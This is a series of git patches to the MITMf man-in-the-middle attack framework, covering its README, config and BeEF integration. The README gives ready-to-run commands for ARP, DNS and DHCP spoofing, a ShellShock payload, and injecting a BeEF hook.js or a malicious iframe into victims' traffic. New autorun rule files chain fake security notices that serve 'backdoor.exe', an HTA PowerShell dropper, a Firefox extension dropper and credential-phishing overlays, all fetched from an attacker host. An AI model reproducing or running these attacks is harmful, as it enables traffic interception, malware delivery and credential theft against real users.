-- Inject an HTML IFrame using the **Inject** plugin: +Inject an HTML IFrame using the **Inject** plugin: + ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` -- Inject a JS script: +Inject a JS script: + ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) @@ -103,7 +112,6 @@ Installation ============ - Clone this repository -- ```apt-get install build-essential python-dev libnetfilter-queue-dev``` for active packet filtering/modification - Run the ```setup.sh``` script - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies From 0046c968064508b61a0dd34fd894ea9a859169a8 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 02:27:54 +0200 Subject: [PATCH 224/323] spelling --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 471ed33..264b541 100644 --- a/README.md +++ b/README.md @@ -29,7 +29,7 @@ re-written from scratch to provide a modular and easily extendible framework tha Features ======== -- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. - As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), allowing users to modify any type of traffic or protocol. @@ -43,7 +43,7 @@ allowing users to modify any type of traffic or protocol. Examples ======== -The most basic usage, just starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: +The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: ```python mitmf.py -i enp3s0``` @@ -51,7 +51,7 @@ ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** pl ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` -Same as above + a WPAD rougue proxy server using the **Responder** plugin: +Same as above + a WPAD rogue proxy server using the **Responder** plugin: ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` From a831236538eee0eee2e9e78c1f08c579928407c1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 04:40:40 +0200 Subject: [PATCH 225/323] moved the FAQ to CONTRIBUTING.md --- CONTRIBUTING.md | 19 ++++++++++++++++++- README.md | 42 ++++++++++++------------------------------ 2 files changed, 30 insertions(+), 31 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2fe828e..6db95b6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,4 +15,21 @@ When inevitably you do come across said *bug*, please open an issue and include - Full error traceback, if any - A packet capture if relevant -Also, remember that Github markdown is your friend! \ No newline at end of file +Also, remember that Github markdown is your friend! + +FAQ +=== +- **Is Windows supported?** +- Nope, don't think it will ever be + +- **Is OSX supported?** +- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! + +- **I can't install package X because of an error!** +- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. + +- **How do I install package X?** or **I get an ImportError when launching MITMf!** +- Please read the installation guide in the [readme](README.md). + +- **Dude, no documentation?** +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file diff --git a/README.md b/README.md index 264b541..a9b8a7c 100644 --- a/README.md +++ b/README.md @@ -45,41 +45,43 @@ Examples The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: -```python mitmf.py -i enp3s0``` +- ```python mitmf.py -i enp3s0``` ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): -```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +- ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Enable LLMNR/NBTNS/MDNS spoofing: -```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` +- ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): -```python mitmf.py -i enp3s0 --spoof --dhcp``` +- ```python mitmf.py -i enp3s0 --spoof --dhcp``` Same as above with a ShellShock payload that will be executed if any client is vulnerable: -```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` +- ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` Inject an HTML IFrame using the **Inject** plugin: -```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` +- ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` Inject a JS script: -```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +- ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` -And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) +And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +For a complete list of available options, just run ```python mitmf.py --help``` #Currently available plugins @@ -118,23 +120,3 @@ Installation **Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again **Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package - -FAQ -=== -- **Is Windows supported?** -- Nope, don't think it will ever be - -- **Is OSX supported?** -- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! - -- **I can't install package X because of an error!** -- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. - -- **How do I install package X?** -- Please read the [installation](#installation) guide. - -- **I get an ImportError when launching MITMf!** -- Please read the [installation](#installation) guide. - -- **Dude, no documentation?** -- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki From 307303ea58939d250231467bf91aff1fe5e575c9 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:06:42 +0200 Subject: [PATCH 226/323] added packet filter tutorial to README --- README.md | 43 ++++++++++++++++++++++++++++++++----------- 1 file changed, 32 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index a9b8a7c..6ff6741 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** +**Before submitting issues, please read the [CONTRIBUTING.md](CONTRIBUTING.md).** Description ============ @@ -40,46 +40,67 @@ allowing users to modify any type of traffic or protocol. - [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. +Active packet filtering/modification +==================================== + +You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) + +For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: + +``` +if packet.haslayer(ICMP): + packet.dst = '192.168.1.0' + +``` +- Use the ```packet``` variable to access the packet in a Scapy compatible format +- Use the ```data``` variable to access the raw packet data + +Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` + +You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) + Examples ======== The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: -- ```python mitmf.py -i enp3s0``` +```python mitmf.py -i enp3s0``` ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: -- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): -- ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Enable LLMNR/NBTNS/MDNS spoofing: -- ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): -- ```python mitmf.py -i enp3s0 --spoof --dhcp``` +```python mitmf.py -i enp3s0 --spoof --dhcp``` Same as above with a ShellShock payload that will be executed if any client is vulnerable: -- ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` Inject an HTML IFrame using the **Inject** plugin: -- ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` Inject a JS script: -- ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` -And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) +And much much more! + +Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) For a complete list of available options, just run ```python mitmf.py --help``` From 68e98704e211df47df44e310c953cb8f566c245a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:11:15 +0200 Subject: [PATCH 227/323] indent and highlighting --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6ff6741..4f0fc07 100644 --- a/README.md +++ b/README.md @@ -47,11 +47,11 @@ You can now modify any packet/protocol that gets intercepted by MITMf using Scap For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: -``` +```python if packet.haslayer(ICMP): packet.dst = '192.168.1.0' - ``` + - Use the ```packet``` variable to access the packet in a Scapy compatible format - Use the ```data``` variable to access the raw packet data From 39aa7473adf12895a9db8220c7d16de0b95328ac Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:47:12 +0200 Subject: [PATCH 228/323] updated filter explanation --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 4f0fc07..3eced9f 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ For example, here's a stupid little filter that just changes the destination IP ```python if packet.haslayer(ICMP): + log.info('Got an ICMP packet!') packet.dst = '192.168.1.0' ``` @@ -59,6 +60,8 @@ Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) +**Note**: you can modify filters on-the-fly without restarting MITMf! + Examples ======== From 795b98d1c582da5db977e09963a2c2d8d4959f7b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 06:01:21 +0200 Subject: [PATCH 229/323] changed examples --- README.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3eced9f..e473406 100644 --- a/README.md +++ b/README.md @@ -69,13 +69,17 @@ The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds o ```python mitmf.py -i enp3s0``` -ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` + +ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: + +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): From e9657c0e07bc93b656d70226bdbfcb14d112bba1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 11:46:52 +0200 Subject: [PATCH 230/323] updated lock icon --- lock.ico | Bin 1150 -> 558 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/lock.ico b/lock.ico index b94e360355e123e5794461f2d40bcdf276776f33..4776cfc9ddc645098211a3f76a96f646b03da22e 100644 GIT binary patch literal 558 zcmV+}0@3}6P)P000&U1^@s6HNQ8u00001b5ch_0Itp) z=>Px#1ZP1_K>z@;j|==^1poj532;bRa{vGmbN~PnbOGLGA9w%&0mDf|K~zXfy_8=| z0znkT=X*s&M1+qK5fN5jA)k5+AtA5`izpI_^sRc39wdmMZxAV@xsXyIWd7M*SJ!pR z8)uooCGT!T_JhORnR8~Yj=PF_y-uS>G#U+Aj*kCn(rh+m$)hL=C6h^tMxzuChn*4g zVzDR_-uO1j=kpYc#VD7{QMFnnRaKo4bF9PnLtv8^@p#-huv98J-{MP{XR}$y_d{r! zCd=VOA`$1haPVLjbF9PnL+H9L%i-WKTnWa0zb{wa>wf&GNuf~qb{Mxl4AE+}Wa;Lk z|4y5k5UrjDe1#nH9KtXRS-LUpHm#fl=)u0ByWS-$_{bs8A=>TXreSFmOw7=2CqWrw zn-zTIkmq2Vv@DgDj;HBbJEC+m!U{fe$a9EJrz1-@*tB>!MVZ<@oxN_bf{&bM6Vo(h z=?0q?4kjsG*`d_)IxG0dc{b^GyRvkHP4jybbY9+~gc4!}AGu#QncE$wtCs{_JVjZ- zN6xc}Wm&RxgQq2wTBg~ZF<-5vg5FP8uh)~M8$90%A(xI{ojyfXWhIkWr}<@To8Px@!@WPawVouA zT;t|qglmgoJYzoEx*Vw0YRZq5N;5u`=g`}1!Duqz@eko24=^0?G8*#Z@eN{gb)mDF zxM0*$UGqJf+ViLm$|OEtroiuXG2nKw5Rb93wMk?t%IbPTTszA2d<6G+khY#q8k&vt zI=eVh_#V;l%!3&@`9)aTd(i0{2nK_MM#q?#oWeci!y5?UaP(p@v{LhfhOevD{Af0j zrO1}nFF0L=-Zz19$j`uRgt65mzLg~X$)9m7uF*fYhIM2LU5}S9v?k2cGaRTmCGkq5 zm9y)&P+fNOLitIaEiUExiZkTLR>+=PB-;}rBmX0WcRpZGZV~0PQRF78#P7G*DNAj# zuk9zE_@s;{i_3WBqJgYfoY&@8c(r>3L0N*3dz6>XT;S8#2K&wJ5}(!7OyQMloLfk6 zZX!(0XoULIJx<>Fi*LoQ((6e+4=hj-n5S}bnWGaCGLv z3DdihBCxcHdooIuriE5lfG@R;gc2LOcy*oVMZ$cit0NSh+f_@?PphucNVm(wdA*+N z%duTOHiKFG--0+jm$5rLq*^4t%=p|5tnNN)Ehh9f3oV^CsV*iDW~XC&o0YA*zjEj9 z7Q-Wh=o_@uHE5`}n`!ZM(|5&(vGWqcA>SkUe$OCQyLc{t{{w&C=eOJ2BvMJnZd|3^ z06`CY94F+unyV@KlU YAm#sgJJB!3(S#_me{Dzi9~Xpw0YlyN5&!@I From 232e43325d998f22433c45c08859f03da7237676 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 19:45:12 +0200 Subject: [PATCH 231/323] modified intall intructions --- README.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/README.md b/README.md index e473406..9c83dfe 100644 --- a/README.md +++ b/README.md @@ -143,8 +143,5 @@ Installation - Clone this repository - Run the ```setup.sh``` script +- On Kali, Debian (and possibly Ubuntu): ```apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev``` - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies - -**Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again - -**Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package From 87bca5e7dd3cdf7fa4efcea2fc9076ee07dccd9c Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Jul 2015 00:54:59 +0200 Subject: [PATCH 232/323] Added new beefapi.py , modified beefautorun plugin: now handles hook injection + ARE autoloading --- .../beef_arerules/c_osx_test-return-mods.json | 35 ++ config/beef_arerules/enabled/.gitignore | 3 + config/beef_arerules/enabled/README | 2 + .../ff_osx_extension-dropper.json | 20 + .../ff_tux_webrtc-internalip.json | 28 + .../ie_win_fakenotification-clippy.json | 31 ++ .../beef_arerules/ie_win_htapowershell.json | 27 + .../ie_win_missingflash-prettytheft.json | 27 + .../ie_win_test-return-mods.json | 35 ++ config/mitmf.conf | 37 +- core/beefapi.py | 496 ++++++++++-------- plugins/beefautorun.py | 79 +++ 12 files changed, 561 insertions(+), 259 deletions(-) create mode 100644 config/beef_arerules/c_osx_test-return-mods.json create mode 100644 config/beef_arerules/enabled/.gitignore create mode 100644 config/beef_arerules/enabled/README create mode 100644 config/beef_arerules/ff_osx_extension-dropper.json create mode 100644 config/beef_arerules/ff_tux_webrtc-internalip.json create mode 100644 config/beef_arerules/ie_win_fakenotification-clippy.json create mode 100644 config/beef_arerules/ie_win_htapowershell.json create mode 100644 config/beef_arerules/ie_win_missingflash-prettytheft.json create mode 100644 config/beef_arerules/ie_win_test-return-mods.json create mode 100644 plugins/beefautorun.py diff --git a/config/beef_arerules/c_osx_test-return-mods.json b/config/beef_arerules/c_osx_test-return-mods.json new file mode 100644 index 0000000..684d05c --- /dev/null +++ b/config/beef_arerules/c_osx_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "S", + "browser_version": ">= 7", + "os": "OSX", + "os_version": "<= 10.10", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/enabled/.gitignore b/config/beef_arerules/enabled/.gitignore new file mode 100644 index 0000000..514e47a --- /dev/null +++ b/config/beef_arerules/enabled/.gitignore @@ -0,0 +1,3 @@ +* +!.gitignore +!README diff --git a/config/beef_arerules/enabled/README b/config/beef_arerules/enabled/README new file mode 100644 index 0000000..4204c48 --- /dev/null +++ b/config/beef_arerules/enabled/README @@ -0,0 +1,2 @@ +Move here the ARE rule files that you want to load into BeEF. +Make sure they are .json files (any other file extension is ignored). \ No newline at end of file diff --git a/config/beef_arerules/ff_osx_extension-dropper.json b/config/beef_arerules/ff_osx_extension-dropper.json new file mode 100644 index 0000000..2f4bb35 --- /dev/null +++ b/config/beef_arerules/ff_osx_extension-dropper.json @@ -0,0 +1,20 @@ +{ + "name": "Firefox Extension Dropper", + "author": "antisnatchor", + "browser": "FF", + "browser_version": "ALL", + "os": "OSX", + "os_version": ">= 10.8", + "modules": [{ + "name": "firefox_extension_dropper", + "condition": null, + "options": { + "extension_name": "Ummeneske", + "xpi_name": "Ummeneske", + "base_host": "http://172.16.45.1:3000" + } + }], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ff_tux_webrtc-internalip.json b/config/beef_arerules/ff_tux_webrtc-internalip.json new file mode 100644 index 0000000..d429f03 --- /dev/null +++ b/config/beef_arerules/ff_tux_webrtc-internalip.json @@ -0,0 +1,28 @@ +{"name": "Get Internal IP (WebRTC)", + "author": "antisnatchor", + "browser": "FF", + "browser_version": ">= 31", + "os": "Linux", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "internal_network_fingerprinting", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", + "options": { + "ipRange":"<>", + "ports":"80", + "threads":"5", + "wait":"2", + "timeout":"10" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_fakenotification-clippy.json b/config/beef_arerules/ie_win_fakenotification-clippy.json new file mode 100644 index 0000000..bac6e44 --- /dev/null +++ b/config/beef_arerules/ie_win_fakenotification-clippy.json @@ -0,0 +1,31 @@ +{ + "name": "Ie Fake Notification + Clippy", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "== 11", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." + } + } + ,{ + "name": "clippy", + "condition": null, + "options": { + "clippydir": "http://172.16.45.1:3000/clippy/", + "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", + "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", + "respawntime":"5000", + "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0,2000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_htapowershell.json b/config/beef_arerules/ie_win_htapowershell.json new file mode 100644 index 0000000..40e677b --- /dev/null +++ b/config/beef_arerules/ie_win_htapowershell.json @@ -0,0 +1,27 @@ +{ + "name": "HTA PowerShell", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "ALL", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" + } + }, + { + "name": "hta_powershell", + "condition": null, + "options": { + "domain":"http://172.16.45.1:3000", + "ps_url":"/ps" + } + }], + "execution_order": [0,1], + "execution_delay": [0,500], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_missingflash-prettytheft.json b/config/beef_arerules/ie_win_missingflash-prettytheft.json new file mode 100644 index 0000000..e7620f6 --- /dev/null +++ b/config/beef_arerules/ie_win_missingflash-prettytheft.json @@ -0,0 +1,27 @@ +{ + "name": "Fake missing plugin + Pretty Theft LinkedIn", + "author": "antisnatchor", + "browser": "IE", + "browser_version": ">= 8", + "os": "Windows", + "os_version": "== XP", + "modules": [{ + "name": "fake_notification_c", + "condition": null, + "options": { + "url": "http://172.16.45.1:3000/updates/backdoor.exe", + "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " + } + }, { + "name": "pretty_theft", + "condition": null, + "options": { + "choice": "Windows", + "backing": "Grey", + "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" + } + }], + "execution_order": [0, 1], + "execution_delay": [0, 5000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_test-return-mods.json b/config/beef_arerules/ie_win_test-return-mods.json new file mode 100644 index 0000000..657bb20 --- /dev/null +++ b/config/beef_arerules/ie_win_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "<= 8", + "os": "Windows", + "os_version": ">= XP", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 9e75143..09f9e58 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -6,8 +6,8 @@ # Required BeEF and Metasploit options [[BeEF]] - beefip = 127.0.0.1 - beefport = 3000 + host = 127.0.0.1 + port = 3000 user = beef pass = beef @@ -187,39 +187,6 @@ #Set your custom PAC script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' -[BeEFAutorun] - #Example config for the BeefAutorun plugin - - mode = oneshot - #can be set to loop, or oneshot - - #in loop mode the plugin will run modules on all hooked browsers every 10 seconds - #in oneshot mode the plugin will run modules only once per hooked browser - - [[ALL]] #Runs specified modules on all hooked browsers - - 'Man-In-The-Browser'= '{}' - - [[targets]] #Runs specified modules based on OS and Browser type - - [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer - - [[[[FF]]]] - 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' - - [[[[IE]]]] - 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' - - [[[Windows 7]]] #Target only Windows 7 using Chrome - - [[[[C]]]] - 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' - - [[[Linux]]] #Target Linux platforms using Chrome - - [[[[C]]]] - 'Redirect Browser (Rickroll)' = '{}' - [AppCachePoison] # HTML5 AppCache poisioning attack # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. diff --git a/core/beefapi.py b/core/beefapi.py index b020153..ff4210a 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -22,292 +22,340 @@ import requests import json -import logging from UserList import UserList -logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message - class BeefAPI: - def __init__(self, opts=[]): - self.host = opts.get('host') or "127.0.0.1" - self.port = opts.get('port') or "3000" - self.token = None - self.url = "http://{}:{}/api/".format(self.host, self.port) - self.login_url = self.url + "admin/login" + def __init__(self, opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" + self.token = None + self.url = "http://{}:{}/api/".format(self.host, self.port) + self.login_url = self.url + "admin/login" - def login(self, username, password): - try: - auth = json.dumps({"username": username, "password": password}) - r = requests.post(self.login_url, data=auth) - data = r.json() + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() - if (r.status_code == 200) and (data["success"]): - self.token = data["token"] #Auth token - - self.hooks_url = "{}hooks?token={}".format(self.url, self.token) - self.modules_url = "{}modules?token={}".format(self.url, self.token) - self.logs_url = "{}logs?token={}".format(self.url, self.token) - self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - - return True - elif r.status_code != 200: - return False + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token - except Exception as e: - print "[BeEF-API] Error logging in to BeEF: {}".format(e) + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.are_url = "{}autorun/rule/".format(self.url) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - @property - def hooked_browsers(self): - r = requests.get(self.hooks_url) - return Hooked_Browsers(r.json(), self.url, self.token) + return True + elif r.status_code != 200: + return False - @property - def dns(self): - r = requests.get(self.dns_url) - return DNS(r.json(), self.url, self.token) + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) - @property - def logs(self): - logs = [] - r = requests.get(self.logs_url) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) - @property - def modules(self): - modules = ModuleList([]) - r = requests.get(self.modules_url) - for k,v in r.json().iteritems(): - modules.append(Module(v, 